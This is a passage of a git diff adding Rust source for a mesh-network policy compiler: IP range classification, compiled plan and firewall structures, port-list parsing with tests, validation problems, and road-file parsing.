+ +const EMBEDS_IPV4: &[&str] = &[ + "::/96", + "::ffff:0.0.0.0/96", + "64:ff9b::/96", + "64:ff9b:1::/48", + "2002::/16", +]; + +const SPECIAL: &[&str] = &[ + "0.0.0.0/8", + "127.0.0.0/8", + "169.254.0.0/16", + "224.0.0.0/4", + "240.0.0.0/4", + "::1/128", + "fe80::/10", + "ff00::/8", +]; + +/// What `internet` excludes (docs/FORMATS.md, "The plan"). +pub const NOT_INTERNET: &[&str] = &[ + "0.0.0.0/8", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.168.0.0/16", + "::1/128", + "fc00::/7", + "fe80::/10", +]; + +impl fmt::Display for Net { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.0) + } +} + +impl fmt::Debug for Net { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Net({})", self.0) + } +} + +impl serde::Serialize for Net { + fn serialize(&self, s: S) -> Result { + s.collect_str(&self.0) + } +} + +impl<'de> serde::Deserialize<'de> for Net { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + Net::parse_canonical(&s) + .map_err(|_| serde::de::Error::custom(format!("`{s}` is not a canonical network"))) + } +} + +/// A mesh address, serialised as text in every format. +#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)] +pub struct Addr(pub IpAddr); + +impl fmt::Display for Addr { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.0) + } +} + +impl serde::Serialize for Addr { + fn serialize(&self, s: S) -> Result { + s.collect_str(&self.0) + } +} + +impl<'de> serde::Deserialize<'de> for Addr { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + match s.parse::() { + Ok(a) if a.to_string() == s => Ok(Addr(a)), + _ => Err(serde::de::Error::custom(format!( + "`{s}` is not an IP address in its usual form" + ))), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn canonical_networks() { + assert!(Net::parse_canonical("192.168.100.0/24").is_ok()); + assert_eq!(Net::parse_canonical("192.168.100.7/24"), Err(true)); + assert_eq!( + Net::parse_canonical("fd00:0::/64"), + Err(true), + "not the usual text form" + ); + assert!(Net::parse_canonical("fd00::/64").is_ok()); + assert_eq!(Net::parse_canonical("192.168.100.0"), Err(false)); + assert_eq!(Net::parse_canonical("nonsense"), Err(false)); + } + + #[test] + fn internet() { + assert!( + Net::parse_canonical("8.8.8.0/24") + .unwrap() + .reaches_internet() + ); + assert!(Net::v4_default().reaches_internet()); + assert!( + !Net::parse_canonical("192.168.100.0/24") + .unwrap() + .reaches_internet() + ); + assert!( + !Net::parse_canonical("100.96.0.0/16") + .unwrap() + .reaches_internet() + ); + } + + #[test] + fn embedded_ipv4_and_special_ranges() { + let n = |s: &str| Net::parse_canonical(s).unwrap(); + assert!(n("::ffff:10.0.0.0/120").embeds_ipv4()); + assert!(n("64:ff9b::/96").embeds_ipv4()); + assert!(n("2002::/16").embeds_ipv4()); + assert!(n("::1/128").embeds_ipv4()); + assert!(!n("2000::/3").embeds_ipv4()); + assert!(!n("::/0").embeds_ipv4()); + assert!(!n("fd00::/64").embeds_ipv4()); + for s in [ + "127.0.0.0/8", + "169.254.169.254/32", + "224.0.0.0/4", + "255.255.255.255/32", + "fe80::/10", + "ff02::1/128", + "0.0.0.0/1", + ] { + assert!(n(s).is_special(), "{s}"); + } + assert!(!n("192.168.100.0/24").is_special()); + } +} diff --git a/crates/roads/src/plan.rs b/crates/roads/src/plan.rs new file mode 100644 index 0000000..af5a531 --- /dev/null +++ b/crates/roads/src/plan.rs @@ -0,0 +1,164 @@ +//! The compiled plan: what one device needs (docs/FORMATS.md, "The plan"). Field order is the wire order. + +use crate::id::RoadId; +use crate::ids::{AppId, DeviceKey, Hostname}; +use crate::net::{Addr, Net}; +use crate::ports::Proto; +use serde::{Deserialize, Serialize}; + +pub const FORMAT: u32 = 1; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Plan { + pub format: u32, + pub device: DeviceKey, + pub name: String, + pub address: Addr, + /// This device is a classic WireGuard peer: not post-quantum. + pub classic: bool, + /// The earliest `until` of the roads this plan was built from, UTC: compile again by then. + pub expires: Option, + pub peers: Vec, + pub firewall: Firewall, + pub dns: Vec, + pub exit: Option, + pub kill_switch: Option, + pub direct: Vec, + pub custom: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Peer { + pub key: DeviceKey, + pub name: String, + pub address: Addr, + /// A classic WireGuard peer: **not post-quantum**. + pub classic: bool, + pub allowed_ips: Vec, + /// A path hint (a relay or an exit) when every road to this peer names the same one. + pub via: Option, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Firewall { + /// Always `deny`: only the rules below let traffic in or through. + pub default: Action, + pub rules: Vec, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Action { + Deny, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Direction { + /// To this device's own address. + In, + /// Through this device: to a subnet it routes, or to the internet as an exit. + Forward, +} + +/// Where a rule lets traffic go. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Dst { + Net(Net), + /// Every address except the private ranges (`net::NOT_INTERNET`). + Internet, +} + +impl Serialize for Dst { + fn serialize(&self, s: S) -> Result { + match self { + Dst::Net(n) => n.serialize(s), + Dst::Internet => s.serialize_str("internet"), + } + } +} + +impl<'de> Deserialize<'de> for Dst { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + if s == "internet" { + return Ok(Dst::Internet); + } + Net::parse_canonical(&s) + .map(Dst::Net) + .map_err(|_| serde::de::Error::custom(format!("`{s}` is not a network or `internet`"))) + } +} + +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Rule { + pub direction: Direction, + pub src: Net, + pub dst: Dst, + pub proto: Proto, + pub ports: Option<[u16; 2]>, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Dns { + pub host: Hostname, + pub address: Addr, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Exit { + pub through: DeviceKey, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct KillSwitch { + /// `None` when kill-switch roads disagree: nothing leaves but the mesh (fails closed). + pub through: Option, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Direct { + /// `None`: all traffic to `subnet`; `Some`: only that app's. + pub app: Option, + pub subnet: Net, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Custom { + pub road: RoadId, + /// The road said this is for a classic peer: not post-quantum. + pub classic: bool, + /// The raw block, byte for byte. **Never checked by the compiler.** + pub raw: String, +} + +impl Plan { + /// Every allowed IP of every peer, with the peer. + pub fn allowed_ips(&self) -> impl Iterator { + self.peers + .iter() + .flat_map(|p| p.allowed_ips.iter().map(move |n| (&p.key, n))) + } + + /// Pretty JSON, two spaces, fields in wire order, a final newline: the same input, the same bytes. + pub fn to_json(&self) -> String { + let mut s = serde_json::to_string_pretty(self).expect("a plan always serialises"); + s.push('\n'); + s + } +} diff --git a/crates/roads/src/ports.rs b/crates/roads/src/ports.rs new file mode 100644 index 0000000..54f8bb4 --- /dev/null +++ b/crates/roads/src/ports.rs @@ -0,0 +1,216 @@ +//! Port lists: `tcp/443`, `udp/53`, `tcp/8000-8100`, `tcp`, `udp`, `icmp` (docs/FORMATS.md). + +use std::fmt; + +#[derive( + Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug, serde::Serialize, serde::Deserialize, +)] +#[serde(rename_all = "kebab-case")] +pub enum Proto { + Any, + Tcp, + Udp, + Icmp, +} + +/// One entry of a port list. `range` is `None` for the whole protocol. +#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)] +pub struct PortSpec { + pub proto: Proto, + pub range: Option<(u16, u16)>, +} + +impl PortSpec { + pub fn parse(s: &str) -> Result { + let (proto, rest) = match s.split_once('/') { + Some((p, r)) => (p, Some(r)), + None => (s, None), + }; + let proto = match proto { + "tcp" => Proto::Tcp, + "udp" => Proto::Udp, + "icmp" => Proto::Icmp, + _ => return Err(format!("`{s}`: the protocol is tcp, udp or icmp")), + }; + let Some(rest) = rest else { + return Ok(PortSpec { proto, range: None }); + }; + if proto == Proto::Icmp { + return Err(format!("`{s}`: icmp has no ports")); + } + let (lo, hi) = match rest.split_once('-') { + Some((a, b)) => (port(a, s)?, port(b, s)?), + None => { + let p = port(rest, s)?; + (p, p) + } + }; + if rest.contains('-') && lo >= hi { + return Err(format!( + "`{s}`: a range goes from a lower port to a higher one" + )); + } + Ok(PortSpec { + proto, + range: Some((lo, hi)), + }) + } + + fn covers_range(&self) -> (u16, u16) { + self.range.unwrap_or((1, 65535)) + } +} + +fn port(t: &str, whole: &str) -> Result { + let ok = !t.is_empty() + && t.len() <= 5 + && t.bytes().all(|b| b.is_ascii_digit()) + && !t.starts_with('0'); + match t.parse::() { + Ok(p) if ok && p > 0 => Ok(p), + _ => Err(format!( + "`{whole}`: a port is a number from 1 to 65535, without leading zeros" + )), + } +} + +impl fmt::Display for PortSpec { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let p = match self.proto { + Proto::Any => "any", + Proto::Tcp => "tcp", + Proto::Udp => "udp", + Proto::Icmp => "icmp", + }; + match self.range { + None => f.write_str(p), + Some((lo, hi)) if lo == hi => write!(f, "{p}/{lo}"), + Some((lo, hi)) => write!(f, "{p}/{lo}-{hi}"), + } + } +} + +/// Whether every spec in `inner` is covered by the union of `outer`. +pub fn is_subset(inner: &[PortSpec], outer: &[PortSpec]) -> bool { + inner.iter().all(|a| { + let mut ranges: Vec<(u32, u32)> = outer + .iter() + .filter(|b| b.proto == a.proto) + .map(|b| { + let (lo, hi) = b.covers_range(); + (lo as u32, hi as u32) + }) + .collect(); + if a.proto == Proto::Icmp { + return !ranges.is_empty(); + } + ranges.sort(); + let (lo, hi) = a.covers_range(); + let (mut need, hi) = (lo as u32, hi as u32); + for (l, h) in ranges { + if l > need { + break; + } + if h >= need { + need = h + 1; + } + if need > hi { + return true; + } + } + need > hi + }) +} + +/// Whether two port sets share any traffic. `None` means all traffic. +pub fn overlaps(a: Option<&[PortSpec]>, b: Option<&[PortSpec]>) -> bool { + match (a, b) { + (None, _) | (_, None) => true, + (Some(a), Some(b)) => a.iter().any(|x| { + b.iter().any(|y| { + x.proto == y.proto && { + let (xl, xh) = x.covers_range(); + let (yl, yh) = y.covers_range(); + xl <= yh && yl <= xh + } + }) + }), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn specs(s: &[&str]) -> Vec { + s.iter().map(|x| PortSpec::parse(x).unwrap()).collect() + } + + #[test] + fn parse_and_print() { + for s in [ + "tcp/443", + "udp/53", + "tcp/8000-8100", + "tcp", + "udp", + "icmp", + "tcp/65535", + ] { + assert_eq!(PortSpec::parse(s).unwrap().to_string(), s); + } + for bad in [ + "tcp/0", + "tcp/0443", + "tcp/65536", + "tcp/443-443", + "tcp/500-400", + "icmp/8", + "sctp/1", + "tcp/", + "tcp/a", + "TCP/443", + "", + ] { + assert!(PortSpec::parse(bad).is_err(), "{bad}"); + } + } + + #[test] + fn subsets() { + assert!(is_subset( + &specs(&["tcp/443"]), + &specs(&["tcp/443", "tcp/22"]) + )); + assert!(!is_subset(&specs(&["tcp/80"]), &specs(&["tcp/443"]))); + assert!(!is_subset(&specs(&["udp/443"]), &specs(&["tcp/443"]))); + assert!(is_subset( + &specs(&["tcp/8000-8100"]), + &specs(&["tcp/8000-8050", "tcp/8051-8100"]) + )); + assert!(!is_subset( + &specs(&["tcp/8000-8100"]), + &specs(&["tcp/8000-8050", "tcp/8052-8100"]) + )); + assert!(is_subset(&specs(&["tcp/1-10"]), &specs(&["tcp"]))); + assert!(!is_subset(&specs(&["tcp"]), &specs(&["tcp/1-65534"]))); + assert!(is_subset( + &specs(&["tcp"]), + &specs(&["tcp/1-100", "tcp/101-65535"]) + )); + assert!(is_subset(&specs(&["icmp"]), &specs(&["icmp"]))); + } + + #[test] + fn overlap() { + assert!(overlaps(None, Some(&specs(&["tcp/1"])))); + assert!(overlaps( + Some(&specs(&["tcp/400-500"])), + Some(&specs(&["tcp/443"])) + )); + assert!(!overlaps( + Some(&specs(&["tcp/400-500"])), + Some(&specs(&["udp/443"])) + )); + } +} diff --git a/crates/roads/src/problem.rs b/crates/roads/src/problem.rs new file mode 100644 index 0000000..873d865 --- /dev/null +++ b/crates/roads/src/problem.rs @@ -0,0 +1,85 @@ +//! Problems: what `via check` reports (docs/FORMATS.md). +//! +//! One line per problem, as Pensum does it: `[:]: [: ] []`. + +use std::fmt; + +/// Whether a problem is an error (the file is wrong) or a valid road that grants nothing right now. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)] +#[serde(rename_all = "kebab-case")] +pub enum Severity { + Error, + Inactive, +} + +/// One validation problem. `path` is store-relative, with `/`. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, serde::Serialize)] +pub struct Problem { + pub path: String, + pub line: Option, + pub field: Option, + /// A rule code from [`crate::rules::ALL`]. + pub code: &'static str, + pub message: String, + pub severity: Severity, +} + +impl Problem { + pub fn error( + path: &str, + field: Option<&str>, + code: &'static str, + message: impl Into, + ) -> Self { + debug_assert!( + crate::rules::ALL.contains(&code), + "unlisted rule code {code}" + ); + Problem { + path: path.to_string(), + line: None, + field: field.map(String::from), + code, + message: message.into(), + severity: Severity::Error, + } + } + + pub fn inactive( + path: &str, + field: Option<&str>, + code: &'static str, + message: impl Into, + ) -> Self { + Problem { + severity: Severity::Inactive, + ..Problem::error(path, field, code, message) + } + } + + /// Sets the 1-based line; 0 means unknown. + pub fn at(mut self, line: usize) -> Self { + self.line = (line > 0).then_some(line); + self + } + + pub fn is_error(&self) -> bool { + self.severity == Severity::Error + } +} + +impl fmt::Display for Problem { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + if self.severity == Severity::Inactive { + f.write_str("inactive: ")?; + } + f.write_str(&self.path)?; + if let Some(line) = self.line { + write!(f, ":{line}")?; + } + if let Some(field) = &self.field { + write!(f, ": {field}")?; + } + write!(f, ": {} [{}]", self.message, self.code) + } +} diff --git a/crates/roads/src/road.rs b/crates/roads/src/road.rs new file mode 100644 index 0000000..3a7194b --- /dev/null +++ b/crates/roads/src/road.rs @@ -0,0 +1,862 @@ +//! Road files: `roads/-.md`, a strict header and a body (docs/FORMATS.md, "Road files"). + +use crate::header::{self, Value}; +use crate::id::{self, RoadId}; +use crate::ids::{AppId, DeviceKey, GroupId, Hostname, PersonId, clip}; +use crate::net::Net; +use crate::ports::PortSpec; +use crate::problem::Problem; +use crate::rules as r; +use jiff::Timestamp as Instant; +use std::collections::BTreeMap; +use std::fmt; + +/// Largest road file accepted. +pub const MAX_FILE: usize = 256 * 1024; + +pub const REQUIRED: [&str; 4] = ["id", "subject", "verb", "created"]; +pub const OPTIONAL: [&str; 5] = ["object", "until", "ports", "via", "classic"]; +/// The canonical key order. +pub const ORDER: [&str; 9] = [ + "id", "subject", "verb", "object", "until", "ports", "via", "classic", "created", +]; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Verb { + CanReach, + ExitsThrough, + GoesDirect, + NeverOnlineWithout, + Custom, +} + +impl Verb { + pub const ALL: [Verb; 5] = [ + Verb::CanReach, + Verb::ExitsThrough, + Verb::GoesDirect, + Verb::NeverOnlineWithout, + Verb::Custom, + ]; + + pub fn as_str(self) -> &'static str { + match self { + Verb::CanReach => "can-reach", + Verb::ExitsThrough => "exits-through", + Verb::GoesDirect => "goes-direct", + Verb::NeverOnlineWithout => "never-online-without", + Verb::Custom => "custom", + } + } + + pub fn parse(s: &str) -> Option { + Verb::ALL.into_iter().find(|v| v.as_str() == s) + } + + fn subject_kinds(self) -> &'static [Kind] { + match self { + Verb::GoesDirect => &[Kind::Person, Kind::Group, Kind::Device, Kind::App], + Verb::Custom => &[Kind::Device], + _ => &[Kind::Person, Kind::Group, Kind::Device], + } + } + + fn object_kinds(self) -> &'static [Kind] { + match self { + Verb::CanReach => &[Kind::Device, Kind::Subnet, Kind::Service], + Verb::ExitsThrough | Verb::NeverOnlineWithout => &[Kind::Exit], + Verb::GoesDirect => &[Kind::Subnet], + Verb::Custom => &[], + } + } + + /// Whether this verb takes `key` at all. + fn takes(self, key: &str) -> bool { + match key { + "object" => self != Verb::Custom, + "ports" | "via" => self == Verb::CanReach, + "classic" => matches!(self, Verb::CanReach | Verb::ExitsThrough | Verb::Custom), + _ => true, + } + } +} + +impl fmt::Display for Verb { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(self.as_str()) + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Kind { + Person, + Group, + Device, + App, + Subnet, + Service, + Exit, +} + +impl Kind { + fn name(self) -> &'static str { + match self { + Kind::Person => "person", + Kind::Group => "group", + Kind::Device => "device", + Kind::App => "app", + Kind::Subnet => "subnet", + Kind::Service => "service", + Kind::Exit => "exit", + } + } +} + +/// Who a road is for. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Subject { + Person(PersonId), + Group(GroupId), + Device(DeviceKey), + App(AppId), +} + +/// What a road points at. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Place { + Device(DeviceKey), + Subnet(Net), + Service(Hostname), + Exit(DeviceKey), +} + +impl fmt::Display for Subject { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Subject::Person(p) => write!(f, "person:{p}"), + Subject::Group(g) => write!(f, "group:{g}"), + Subject::Device(d) => write!(f, "device:{d}"), + Subject::App(a) => write!(f, "app:{a}"), + } + } +} + +impl fmt::Display for Place { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Place::Device(d) => write!(f, "device:{d}"), + Place::Subnet(n) => write!(f, "subnet:{n}"), + Place::Service(h) => write!(f, "service:{h}"), + Place::Exit(d) => write!(f, "exit:{d}"), + } + } +} + +enum Ref { + S(Subject), + P(Place), +} + +impl Ref { + fn kind(&self) -> Kind { + match self { + Ref::S(Subject::Person(_)) => Kind::Person, + Ref::S(Subject::Group(_)) => Kind::Group, + Ref::S(Subject::Device(_)) | Ref::P(Place::Device(_)) => Kind::Device, + Ref::S(Subject::App(_)) => Kind::App, + Ref::P(Place::Subnet(_)) => Kind::Subnet, + Ref::P(Place::Service(_)) => Kind::Service, + Ref::P(Place::Exit(_)) => Kind::Exit, + } + } +} + +/// Parses `:`. The error is a rule code and a message. +fn parse_ref(s: &str) -> Result { + let bad = |what: &str| (r::REF_FORMAT, format!("`{}` is not {what}", clip(s))); + let Some((kind, v)) = s.split_once(':') else { + return Err(( + r::REF_FORMAT, + format!( + "`{}` is not a reference like `person:` or `device:`", + clip(s) + ), + )); + }; + Ok(match kind { + "person" => Ref::S(Subject::Person( + PersonId::new(v).ok_or_else(|| bad("a person: 1-64 of A-Z a-z 0-9 _ -"))?, + )), + "group" => Ref::S(Subject::Group( + GroupId::new(v).ok_or_else(|| bad("a group: 1-64 of A-Z a-z 0-9 _ -"))?, + )), + "device" => Ref::P(Place::Device(DeviceKey::new(v).ok_or_else(|| { + bad("a device: a Tessera key, 43 characters of base64url") + })?)), + "app" => Ref::S(Subject::App( + AppId::new(v).ok_or_else(|| bad("an app: 1-32 of a-z 0-9 -"))?, + )), + "subnet" => match Net::parse_canonical(v) { + Ok(n) if n.embeds_ipv4() => { + return Err(( + r::REF_FORMAT, + format!( + "`{}` embeds IPv4 addresses in IPv6; write the IPv4 subnet", + clip(v) + ), + )); + } + Ok(n) => Ref::P(Place::Subnet(n)), + Err(true) => { + return Err(( + r::SUBNET_NOT_CANONICAL, + format!( + "`{}` has host bits set or an unusual form; write the network itself", + clip(v) + ), + )); + } + Err(false) => return Err(bad("a subnet like 192.168.100.0/24")), + }, + "service" => Ref::P(Place::Service( + Hostname::new(v).ok_or_else(|| bad("a service: a lowercase hostname"))?, + )), + "exit" => Ref::P(Place::Exit(DeviceKey::new(v).ok_or_else(|| { + bad("an exit: a Tessera key, 43 characters of base64url") + })?)), + _ => { + return Err(( + r::REF_FORMAT, + format!( + "`{}`: the kind is person, group, device, app, subnet, service or exit", + clip(s) + ), + )); + } + }) +} + +/// An RFC 3339 time with an offset, kept as written. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Timestamp { + text: String, + at: Instant, +} + +impl Timestamp { + pub fn parse(s: &str) -> Option { + let b = s.as_bytes(); + let shape = b.len() >= 20 + && b[10] == b'T' + && (s.ends_with('Z') || matches!(b[b.len() - 6], b'+' | b'-')); + let at: Instant = s.parse().ok()?; + shape.then(|| Timestamp { + text: s.to_string(), + at, + }) + } + + pub fn as_str(&self) -> &str { + &self.text + } + + pub fn at(&self) -> Instant { + self.at + } +} + +/// What follows the header. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Body { + /// A free-text note, never interpreted. + Note(String), + /// A custom road's raw block, byte for byte, never interpreted. + Raw(String), +} + +/// A road whose file parsed and whose fields are well formed. Whether it compiles depends on the snapshots. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Road { + pub path: String, + pub id: RoadId, + pub subject: Subject, + pub verb: Verb, + pub object: Option, + pub until: Option, + pub ports: Option>, + pub via: Option, + pub classic: Option, + pub created: Timestamp, + pub body: Body, + lines: BTreeMap, +} + +impl Road { + /// The file line of `key`, or 0. + pub fn line_of(&self, key: &str) -> usize { + self.lines.get(key).copied().unwrap_or(0) + } + + pub fn is_classic(&self) -> bool { + self.classic == Some(true) + } + + /// The road as one line: `person:jana can-reach service:photos.home.arpa until …`. + pub fn sentence(&self, name: &dyn Fn(&DeviceKey) -> Option) -> String { + let dev = |k: &DeviceKey| name(k).unwrap_or_else(|| k.short().to_string()); + let subject = match &self.subject { + Subject::Device(k) => format!("device:{}", dev(k)), + s => s.to_string(), + }; + let mut out = format!("{subject} {}", self.verb); + match &self.object { + Some(Place::Device(k)) => out.push_str(&format!(" device:{}", dev(k))), + Some(Place::Exit(k)) => out.push_str(&format!(" exit:{}", dev(k))), + Some(p) => out.push_str(&format!(" {p}")), + None => {} + } + if let Some(u) = &self.until { + out.push_str(&format!(" until {}", u.as_str())); + } + if let Some(p) = &self.ports { + let list: Vec = p.iter().map(|p| p.to_string()).collect(); + out.push_str(&format!(" ports [{}]", list.join(", "))); + } + if let Some(v) = &self.via { + out.push_str(&format!(" via {}", dev(v))); + } + if self.is_classic() { + out.push_str(" (classic, not post-quantum)"); + } + out + } + + /// The canonical file text (docs/FORMATS.md, "Canonical form"). + pub fn render(&self) -> String { + let mut out = String::from("---\n"); + let mut field = |k: &str, v: String| { + out.push_str(k); + out.push_str(": "); + out.push_str(&v); + out.push('\n'); + }; + let scalar = |s: String| { + if header::is_plain_safe(&s, false) { + s + } else { + header::quote(&s) + } + }; + field("id", self.id.to_string()); + field("subject", scalar(self.subject.to_string())); + field("verb", self.verb.to_string()); + if let Some(o) = &self.object { + field("object", scalar(o.to_string())); + } + if let Some(u) = &self.until { + field("until", scalar(u.as_str().to_string())); + } + if let Some(p) = &self.ports { + let items: Vec = p + .iter() + .map(|p| { + let s = p.to_string(); + if header::is_plain_safe(&s, true) { + s + } else { + header::quote(&s) + } + }) + .collect(); + field("ports", format!("[{}]", items.join(", "))); + } + if let Some(v) = &self.via { + field("via", scalar(format!("device:{v}"))); + } + if let Some(c) = self.classic { + field("classic", c.to_string()); + } + field("created", scalar(self.created.as_str().to_string())); + out.push_str("---\n"); + match &self.body { + Body::Note(n) => out.push_str(n), + Body::Raw(raw) => { + out.push_str("```raw\n"); + out.push_str(raw); + out.push_str("```\n"); + } + } + out + } + + /// Parses one road file. `path` is store-relative (`roads/`); every problem names it. + pub fn parse(path: &str, bytes: &[u8]) -> Result> { + let err = |field: Option<&str>, code, msg: String| Problem::error(path, field, code, msg); + if bytes.len() > MAX_FILE { + return Err(vec![err( + None, + r::FILE_SIZE, + format!("larger than {} KiB", MAX_FILE / 1024), + )]); + } + if bytes.starts_with(&[0xEF, 0xBB, 0xBF]) { + return Err(vec![err( + None, + r::FILE_ENCODING, + "starts with a byte order mark; save it as UTF-8 without one".into(), + )]); + } + let Ok(text) = std::str::from_utf8(bytes) else { + return Err(vec![err(None, r::FILE_ENCODING, "is not UTF-8".into())]); + }; + let mut problems = Vec::new(); + let name = path.rsplit('/').next().unwrap_or(path); + let name_id = id::split_file_name(name).map(|(i, _)| i); + if name_id.is_none() { + problems.push(err( + None, + r::FILE_NAME, + format!("the file name must be -.md with a slug of a-z, 0-9 and -, at most {} characters", id::SLUG_MAX), + )); + } + + // Split into lines, keeping where each one ends. + let mut lines: Vec<&str> = Vec::new(); + let mut ends: Vec = Vec::new(); + let mut start = 0; + for (i, b) in text.bytes().enumerate() { + if b == b'\n' { + lines.push(text[start..i].strip_suffix('\r').unwrap_or(&text[start..i])); + ends.push(i + 1); + start = i + 1; + } + } + if start < text.len() { + lines.push(text[start..].strip_suffix('\r').unwrap_or(&text[start..])); + ends.push(text.len()); + } + if lines.first() != Some(&"---") { + problems.push(err(None, r::FILE_HEADER, "the first line must be `---`".into()).at(1)); + return Err(problems); + } + let Some(close) = lines + .iter() + .skip(1) + .position(|l| *l == "---") + .map(|p| p + 1) + else { + problems.push(err( + None, + r::FILE_HEADER, + "the header is not closed by a `---` line".into(), + )); + return Err(problems); + }; + let body_text = &text[ends[close]..]; + let fields = match header::parse(&lines[1..close], 2) { + Ok(f) => f, + Err(e) => { + problems + .push(Problem::error(path, e.field.as_deref(), e.code, e.message).at(e.line)); + return Err(problems); + } + }; + + let line_of: BTreeMap = + fields.iter().map(|f| (f.key.clone(), f.line)).collect(); + let at = |k: &str| line_of.get(k).copied().unwrap_or(0); + let p = |k: &str, code: &'static str, msg: String| { + Problem::error(path, Some(k), code, msg).at(at(k)) + }; + let get = |k: &str| { + fields + .iter() + .find(|f| f.key == k) + .map(|f| &f.value) + .filter(|v| **v != Value::Absent) + }; + + for f in &fields { + if !REQUIRED.contains(&f.key.as_str()) && !OPTIONAL.contains(&f.key.as_str()) { + problems.push(p(&f.key, r::KEY_UNKNOWN, "unknown key".into())); + } + } + for k in REQUIRED { + if get(k).is_none() { + problems.push( + Problem::error(path, Some(k), r::KEY_MISSING, "missing required key").at(at(k)), + ); + } + } + let single = |k: &str, problems: &mut Vec| -> Option { + match get(k) { + Some(Value::Str(s)) => Some(s.clone()), + Some(Value::List(_)) => { + problems.push(p( + k, + r::KEY_TYPE, + "must be a single value, not a list".into(), + )); + None + } + _ => None, + } + }; + + let id = single("id", &mut problems).and_then(|s| match RoadId::new(&s) { + Some(id) => { + if name_id.is_some_and(|n| n != id.as_str()) { + problems.push(p( + "id", + r::ID_FILE_NAME, + format!("id {id} does not match the file name {name}"), + )); + } + Some(id) + } + None => { + problems.push(p( + "id", + r::ID_FORMAT, + format!( + "`{}` is not a road id: 6 characters of 0-9 a-z without i l o u", + clip(&s) + ), + )); + None + } + }); + + let verb = single("verb", &mut problems).and_then(|s| { + let v = Verb::parse(&s); + if v.is_none() { + problems.push(p( + "verb", + r::VERB_UNKNOWN, + format!( + "`{}` is not a verb: can-reach, exits-through, goes-direct, never-online-without or custom", + clip(&s) + ), + )); + } + v + }); + + let subject = single("subject", &mut problems).and_then(|s| match parse_ref(&s) { + Err((code, m)) => { + problems.push(p("subject", code, m)); + None + } + Ok(rf) => { + let kind = rf.kind(); + let subject = match rf { + Ref::S(s) => Some(s), + Ref::P(Place::Device(d)) => Some(Subject::Device(d)), + Ref::P(_) => None, + }; + let allowed = verb.map_or( + &[Kind::Person, Kind::Group, Kind::Device, Kind::App][..], + |v| v.subject_kinds(), + ); + if subject.is_none() || !allowed.contains(&kind) { + problems.push(p( + "subject", + r::SUBJECT_KIND, + kind_message(kind, verb, allowed), + )); + None + } else { + subject + } + } + }); + + if let Some(v) = verb { + for k in OPTIONAL { + if !v.takes(k) && line_of.contains_key(k) { + problems.push(p(k, r::KEY_FORBIDDEN, format!("a {v} road takes no `{k}`"))); + } + } + if v != Verb::Custom && get("object").is_none() { + problems.push( + Problem::error(path, Some("object"), r::KEY_MISSING, "missing required key") + .at(at("object")), + ); + } + } + let takes = |k: &str| verb.is_none_or(|v| v.takes(k)); + + let object = if takes("object") { + single("object", &mut problems).and_then(|s| match parse_ref(&s) { + Err((code, m)) => { + problems.push(p("object", code, m)); + None + } + Ok(rf) => { + let kind = rf.kind(); + let allowed = verb.map_or( + &[Kind::Device, Kind::Subnet, Kind::Service, Kind::Exit][..], + |v| v.object_kinds(), + ); + match rf { + Ref::P(place) if allowed.contains(&kind) => Some(place), + _ => { + problems.push(p( + "object", + 